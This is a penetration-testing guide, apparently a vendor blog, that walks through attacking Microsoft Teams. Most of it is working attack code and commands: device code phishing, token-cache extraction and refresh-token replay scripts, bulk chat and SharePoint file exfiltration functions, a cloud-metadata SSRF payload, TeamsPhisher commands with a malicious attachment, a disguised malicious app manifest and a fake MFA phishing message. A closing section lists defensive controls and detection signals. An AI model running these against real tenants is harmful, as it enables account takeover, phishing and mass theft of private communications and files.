Microsoft Teams Security Testing: Token Theft, Webhook Abuse, and API Data Exfiltration
Microsoft Teams has become one of the highest-value targets in modern enterprise penetration testing — it sits at the intersection of identity (Azure AD / Entra ID), productivity data, and privileged API access. A compromised Teams token often means access to chat history, SharePoint files, user directories, and the full Microsoft Graph API surface. This guide covers the complete attack chain: tenant reconnaissance, OAuth token theft, Graph API enumeration, webhook and connector abuse, phishing via TeamsPhisher, app sideloading for persistence, and bulk data exfiltration — all for authorized security assessments.
1. Reconnaissance: Tenant and Version Enumeration
Before touching the Teams API surface, establish a clear picture of the target tenant's configuration. Microsoft exposes a surprising amount of metadata through unauthenticated endpoints.
Tenant Enumeration via login.microsoftonline.com
The OpenID Connect discovery endpoint and the user realm endpoint reveal whether a domain is federated, managed, or hybrid — and confirm tenant existence without triggering any authentication events:
# Confirm tenant exists and get tenant ID
curl -s "https://login.microsoftonline.com/contoso.com/.well-known/openid-configuration" \
| python3 -m json.tool | grep -E '"issuer"|"token_endpoint"'
# User realm lookup — reveals federation type (Managed, Federated, Unknown)
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=user@contoso.com&json=1"
# Get tenant ID from the OIDC config
curl -s "https://login.microsoftonline.com/contoso.com/v2.0/.well-known/openid-configuration" \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['issuer'])"
The getuserrealm endpoint returns a JSON blob with NameSpaceType (Managed vs. Federated), DomainName, and — for federated tenants — the AuthURL of their AD FS server. A Federated result is immediately interesting: it often means a legacy authentication path via WS-Federation that predates conditional access policies.
Teams Version and Capability Fingerprinting
The Teams web client at https://teams.microsoft.com exposes build metadata in its service worker and asset manifests. The desktop client version is visible in the User-Agent header of authenticated requests. Older Teams client builds (pre-2023) used a local SQLite database to cache tokens — relevant if you have local access to an endpoint.
# Check Teams config endpoint (authenticated)
curl -s -H "Authorization: Bearer $TEAMS_TOKEN" \
"https://teams.microsoft.com/api/v1.0/users/ME/properties" \
| python3 -m json.tool
# Enumerate tenant-level Teams policies
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/admin/serviceAnnouncement/healthOverviews/MicrosoftTeams"
2. Authentication Testing: OAuth Token Theft and SSO Abuse
Teams authentication is entirely OAuth 2.0 / MSAL-based. Tokens are issued against the https://api.spaces.skype.com and https://graph.microsoft.com resources. The attack surface is wide: device code phishing, token extraction from browser storage, MSAL cache file access, and SSO token replay.
Device Code Flow Phishing
The OAuth 2.0 device authorization grant is a legitimate flow designed for input-constrained devices — and a well-known phishing vector. An attacker initiates the flow, sends the victim the user_code and URL, and polls for completion:
# Step 1: request device code (replace CLIENT_ID with Teams native app ID)
TEAMS_APP_ID="1fec8e78-bce4-4aaf-ab1b-5451cc387264"
curl -s -X POST \
"https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
-d "client_id=${TEAMS_APP_ID}&scope=https://graph.microsoft.com/.default offline_access"
# Returns: device_code, user_code, verification_uri, expires_in, interval
# Step 2: poll for token (victim must visit verification_uri and enter user_code)
curl -s -X POST \
"https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
-d "client_id=${TEAMS_APP_ID}" \
-d "device_code=DEVICE_CODE_FROM_STEP1"
Once the victim completes authentication, you receive an access token and — critically — a refresh token valid for 90 days. This is the Teams equivalent of a golden ticket.
MSAL Token Cache Extraction (Local Access)
On Windows endpoints, MSAL persists tokens to %LOCALAPPDATA%\Microsoft\TokenBroker\Cache\ and, for the classic Teams client, to %APPDATA%\Microsoft\Teams\Local Storage\leveldb\. The new Teams client stores tokens in the Windows Credential Manager and the WAM broker.
# Python: parse Teams LevelDB token cache (classic client)
import leveldb
import json
import re
db = leveldb.LevelDB(
r"C:\Users\TARGET\AppData\Roaming\Microsoft\Teams\Local Storage\leveldb"
)
for key, value in db.RangeIter():
if b"skypetoken" in key or b"authToken" in key:
print(f"Key: {key.decode(errors='replace')}")
print(f"Value: {value.decode(errors='replace')[:200]}")
print("---")
SSO Token Replay and MSAL Token Refresh
A captured refresh token can be replayed to obtain fresh access tokens for any resource in the tenant, subject to the granted scopes and Conditional Access policies:
import requests
TENANT_ID = "TARGET_TENANT_ID"
CLIENT_ID = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" # Teams native app
REFRESH_TOKEN = "CAPTURED_REFRESH_TOKEN"
# Replay refresh token for Graph API access
resp = requests.post(
f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token",
data={
"grant_type": "refresh_token",
"client_id": CLIENT_ID,
"refresh_token": REFRESH_TOKEN,
"scope": "https://graph.microsoft.com/.default offline_access",
}
)
tokens = resp.json()
print(f"Access Token: {tokens.get('access_token', 'FAILED')[:80]}...")
print(f"New Refresh Token: {tokens.get('refresh_token', 'NONE')[:60]}...")
https://graph.microsoft.com/.default provides access to the complete Graph API surface — mail, calendar, files, chat messages, and user directory — until the token is explicitly revoked or the user changes their password.
3. Microsoft Graph API Enumeration
The Microsoft Graph API at https://graph.microsoft.com/v1.0/ is the primary data plane for Teams. With a valid access token, the following endpoints are high-value targets.
User and Organization Enumeration
# List all users in the tenant (requires User.Read.All)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/users?\$select=displayName,mail,jobTitle,department,mobilePhone" \
| python3 -m json.tool
# Get current user's profile
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/me" | python3 -m json.tool
# Enumerate groups (includes Teams-backed groups)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/groups?\$filter=resourceProvisioningOptions/Any(x:x eq 'Team')" \
| python3 -m json.tool
Teams Chat and Channel Enumeration
# List all chats for the current user
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/me/chats?\$expand=members" \
| python3 -m json.tool
# Read messages from a specific chat
CHAT_ID="19:abc123@thread.v2"
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/me/chats/${CHAT_ID}/messages?\$top=50" \
| python3 -m json.tool
# Enumerate channels in a specific Team
TEAM_ID="TEAM_OBJECT_ID"
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/teams/${TEAM_ID}/channels" \
| python3 -m json.tool
# Read channel messages (includes @mentions, file shares, meeting links)
CHANNEL_ID="19:channel_id@thread.tacv2"
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/teams/${TEAM_ID}/channels/${CHANNEL_ID}/messages" \
| python3 -m json.tool
Python: Bulk Chat Message Harvesting
import requests
BASE = "https://graph.microsoft.com/v1.0"
HEADERS = {"Authorization": f"Bearer {ACCESS_TOKEN}"}
def harvest_chats():
chats = requests.get(f"{BASE}/me/chats", headers=HEADERS).json()
for chat in chats.get("value", []):
chat_id = chat["id"]
chat_type = chat.get("chatType", "unknown")
print(f"\n[+] Chat {chat_id} ({chat_type})")
# Paginate through all messages
url = f"{BASE}/me/chats/{chat_id}/messages?$top=50"
while url:
resp = requests.get(url, headers=HEADERS).json()
for msg in resp.get("value", []):
sender = msg.get("from", {}).get("user", {}).get("displayName", "?")
body = msg.get("body", {}).get("content", "")[:120]
print(f" {sender}: {body}")
url = resp.get("@odata.nextLink") # follow pagination
harvest_chats()
4. Teams Webhook and Connector Abuse
Teams supports incoming webhooks and Office 365 connectors as a low-friction integration path. From a security perspective, these are often misconfigured and overlooked during reviews.
Incoming Webhook URL Enumeration
Webhook URLs follow the pattern https://contoso.webhook.office.com/webhookb2/{guid}@{tenant_guid}/IncomingWebhook/{id}/{secret}. These URLs are frequently committed to source code, posted in internal wikis, or included in CI/CD configurations. A valid webhook URL allows an unauthenticated actor to post messages to any Teams channel.
# Send a message to a channel via incoming webhook (no auth required)
WEBHOOK_URL="https://contoso.webhook.office.com/webhookb2/GUID@TENANT/IncomingWebhook/ID/SECRET"
curl -s -X POST "$WEBHOOK_URL" \
-H "Content-Type: application/json" \
-d '{
"text": "Security test: this message was sent via a discovered webhook URL.",
"@type": "MessageCard",
"themeColor": "FF0000"
}'
In a real assessment, combine this with a search for webhook URLs across the target's GitHub/GitLab repositories, Confluence spaces, and Slack exports using patterns like webhook.office.com.
SSRF via Office 365 Connectors
The legacy Office 365 Connectors (being deprecated but widely deployed) accept a targetUrl parameter in certain action card payloads. Depending on the Teams backend version, this can be used to trigger server-side HTTP requests to internal resources:
{
"@type": "MessageCard",
"@context": "http://schema.org/extensions",
"summary": "SSRF Test",
"sections": [{ "text": "Testing connector SSRF" }],
"potentialAction": [{
"@type": "HttpPOST",
"name": "Trigger",
"target": "http://169.254.169.254/latest/meta-data/",
"body": "{}"
}]
}
5. Credential Harvesting via Teams Phishing (TeamsPhisher)
Teams phishing is particularly effective because messages arrive in a trusted, internal-looking interface. By default, Teams allows external tenants to send messages to internal users unless the tenant has explicitly restricted external access. The open-source tool TeamsPhisher automates this attack path.
TeamsPhisher Attack Flow
TeamsPhisher requires a valid Microsoft 365 account in an external tenant (or a compromised internal account). It enumerates whether target users have external messaging enabled, then sends crafted messages that bypass the standard "external sender" warning in some Teams configurations:
# TeamsPhisher setup
git clone https://github.com/Miaxos/teamsphisher
cd teamsphisher
pip3 install -r requirements.txt
# Check if a target user accepts external messages
python3 TeamsPhisher.py --check-only \
--sender attacker@external-tenant.com \
--target victim@contoso.com \
--token "$ATTACKER_TOKEN"
# Send phishing message with attachment lure
python3 TeamsPhisher.py \
--sender attacker@external-tenant.com \
--targets targets.txt \
--message phish_message.txt \
--attachment malicious_doc.html \
--token "$ATTACKER_TOKEN"
The payload in phish_message.txt typically mimics an IT department notice, a shared document notification, or an MFA re-enrollment prompt. The --attachment flag stages the file to the attacker's SharePoint and delivers a sharing link — which Teams renders inline as a trusted Microsoft file preview.
External Access Policy Enumeration
# Check if target user allows external messaging (unauthenticated check)
# Teams exposes user presence via the search API before auth in some configs
curl -s \
"https://teams.microsoft.com/api/mt/part/space-1/beta/users/searchV2?includeDLs=true&includeBots=false&enableGuest=false&skypeTeamsInfo=true" \
-H "X-Skypetoken: $SKYPE_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query":"victim@contoso.com","maxResultCount":5}'
6. Teams App Sideloading for Persistence
Teams supports custom application sideloading — and this capability is a significant persistence vector when obtained. A malicious Teams app can request permissions to read messages, access files, and execute on every Teams client where it is installed.
Malicious App Manifest
A Teams app package is a ZIP file containing a manifest.json and icon assets. The manifest declares permissions via the webApplicationInfo block and RSC (Resource-Specific Consent) permissions:
{
"manifestVersion": "1.16",
"version": "1.0.0",
"id": "YOUR-APP-GUID",
"packageName": "com.contoso.internal.helpdesk",
"name": { "short": "IT Helpdesk", "full": "Contoso IT Helpdesk Tool" },
"description": { "short": "IT Support", "full": "Internal IT support assistant" },
"webApplicationInfo": {
"id": "YOUR-AAD-APP-ID",
"resource": "https://graph.microsoft.com"
},
"authorization": {
"permissions": {
"resourceSpecific": [
{ "name": "ChannelMessage.Read.Group", "type": "Application" },
{ "name": "ChatMessage.Read.Chat", "type": "Application" },
{ "name": "Files.ReadWrite.Group", "type": "Application" },
{ "name": "Member.Read.Group", "type": "Application" }
]
}
},
"bots": [{
"botId": "YOUR-BOT-ID",
"scopes": ["personal", "team", "groupchat"],
"isNotificationOnly": false
}]
}
Once a Teams admin installs this app organization-wide, or a user sideloads it with admin approval enabled, the bot receives all messages and can silently exfiltrate data to an external endpoint. The RSC permission ChannelMessage.Read.Group grants access to all channel messages without requiring a delegated user token.
Checking Sideloading Policy
# Check org-level app sideloading policy via Graph
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
"https://graph.microsoft.com/v1.0/admin/appsAndServices/settings" \
| python3 -m json.tool
# List currently installed apps in a team
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/teams/${TEAM_ID}/installedApps?\$expand=teamsApp" \
| python3 -m json.tool
7. Data Exfiltration via Chat and File APIs
With a valid Graph token, the exfiltration surface is extensive. Beyond chat messages, Teams integrates deeply with SharePoint and OneDrive — every file shared in a Teams channel is stored in the team's SharePoint site.
Bulk File Exfiltration via DriveItem API
import requests, os
BASE = "https://graph.microsoft.com/v1.0"
HEADERS = {"Authorization": f"Bearer {ACCESS_TOKEN}"}
def exfiltrate_team_files(team_id, output_dir="./exfil"):
os.makedirs(output_dir, exist_ok=True)
# Get SharePoint site for this Team
site = requests.get(
f"{BASE}/groups/{team_id}/sites/root", headers=HEADERS
).json()
site_id = site["id"]
# Get default document library
drive = requests.get(
f"{BASE}/sites/{site_id}/drive", headers=HEADERS
).json()
drive_id = drive["id"]
# Recursively list and download files
def download_folder(folder_id, local_path):
items = requests.get(
f"{BASE}/drives/{drive_id}/items/{folder_id}/children",
headers=HEADERS
).json()
for item in items.get("value", []):
item_name = item["name"]
item_path = os.path.join(local_path, item_name)
if "folder" in item:
os.makedirs(item_path, exist_ok=True)
download_folder(item["id"], item_path)
elif "file" in item:
dl_url = item.get("@microsoft.graph.downloadUrl")
if dl_url:
data = requests.get(dl_url).content
with open(item_path, "wb") as f:
f.write(data)
print(f" Downloaded: {item_path}")
download_folder("root", output_dir)
print(f"[+] Exfiltration complete: {output_dir}")
exfiltrate_team_files(TEAM_ID)
Meeting Recording and Transcript Access
Teams meeting recordings stored in OneDrive and SharePoint are accessible via the same DriveItem API. Transcripts — which contain verbatim conversation records — are accessible via the /onlineMeetings endpoint and represent an exceptionally high-value exfiltration target:
# List online meetings with transcripts
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/me/onlineMeetings" \
| python3 -m json.tool
# Fetch transcript for a specific meeting
MEETING_ID="MSoxNTk6..."
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/me/onlineMeetings/${MEETING_ID}/transcripts" \
| python3 -m json.tool
8. Channel Message Injection
The Graph API's chatMessage endpoint allows sending messages to channels and chats with the token-holder's identity. In a post-compromise scenario, this enables social engineering of other team members, injecting malicious links, or impersonating IT communications.
# Send a message to a channel as the compromised user
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/teams/${TEAM_ID}/channels/${CHANNEL_ID}/messages" \
-d '{
"body": {
"contentType": "html",
"content": "IT Security: Your MFA token has expired. Re-enroll at aka.ms/mfa-update
"
},
"importance": "urgent"
}'
# Send a 1:1 chat message
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/me/chats/${CHAT_ID}/messages" \
-d '{"body": {"contentType": "text", "content": "Security test message — authorized assessment."}}'
9. Defensive Controls and Detection
A thorough Teams security assessment includes validating the effectiveness of the client's defensive configuration. The following table maps attack techniques to the relevant control and detection opportunity:
| Attack Technique | Recommended Control | Detection Signal |
|---|---|---|
| Device code phishing | Conditional Access: block device code flow for non-compliant devices; enable Authentication Strength policies | Azure AD sign-in logs: deviceCodeFlow grant type from unexpected IPs or user agents |
| Refresh token replay | Continuous Access Evaluation (CAE); token lifetime policies; revoke on password change | Unusual token issuance geography; sign-in from new ASN on existing refresh token |
| Graph API bulk enumeration | Restrict User.Read.All / Group.Read.All application permissions; use Conditional Access for high-privilege Graph scopes |
Microsoft Defender for Cloud Apps: mass download policy; anomalous Graph API call volume per token |
| Webhook URL exposure | Rotate webhook URLs quarterly; use Entra workload identities instead of static webhook URLs for integrations | Teams admin audit log: webhook message delivery from unexpected source IPs |
| External Teams phishing | Restrict external access to trusted tenant list only (Teams Admin Center → External Access); enable phishing-resistant MFA | Teams message trace: external sender domains not in allowlist; anomalous external message volume |
| Malicious app sideloading | Disable user-level app sideloading; require admin approval for all app installs; use Teams app permission policies to allowlist approved apps only | Teams admin audit log: AppInstalled events for non-approved app IDs |
| Meeting transcript exfiltration | Restrict transcript access via Teams meeting policies; apply sensitivity labels to recordings in SharePoint | Unified Audit Log: FileSyncDownloadedFull events on SharePoint meeting recording libraries at unusual volume |
| Channel message injection | Principle of least privilege for API tokens; deploy Microsoft Purview Communication Compliance to flag policy violations | Teams message audit: messages with external URLs posted by service accounts or at off-hours |
High-Priority Remediation Items
- Enable Conditional Access policies that enforce compliant device and phishing-resistant MFA for all Microsoft 365 access — this is the single highest-impact control against token theft.
- Audit and revoke application permissions in Azure AD (Entra ID) — focus on any app holding
Mail.Read,User.Read.All,ChatMessage.Read.All, orFiles.ReadWrite.Allapplication (not delegated) permissions without a documented business need. - Set external access in Teams Admin Center to "Only specific external domains" rather than the default of all external domains allowed.
- Enable Microsoft Defender for Cloud Apps session policies for Teams to detect mass-download behavior and impossible travel on Graph API tokens.
- Rotate all incoming webhook URLs and treat them as secrets — store in Key Vault, not in source code or wiki pages.
Automate Your Microsoft Teams Security Assessment
Ironimo's Kali Linux-powered scanner automatically tests OAuth misconfigurations, exposed webhook endpoints, Graph API over-permissioning, and Teams external access policies as part of a full enterprise web application assessment — no manual curl commands required.
Start free scan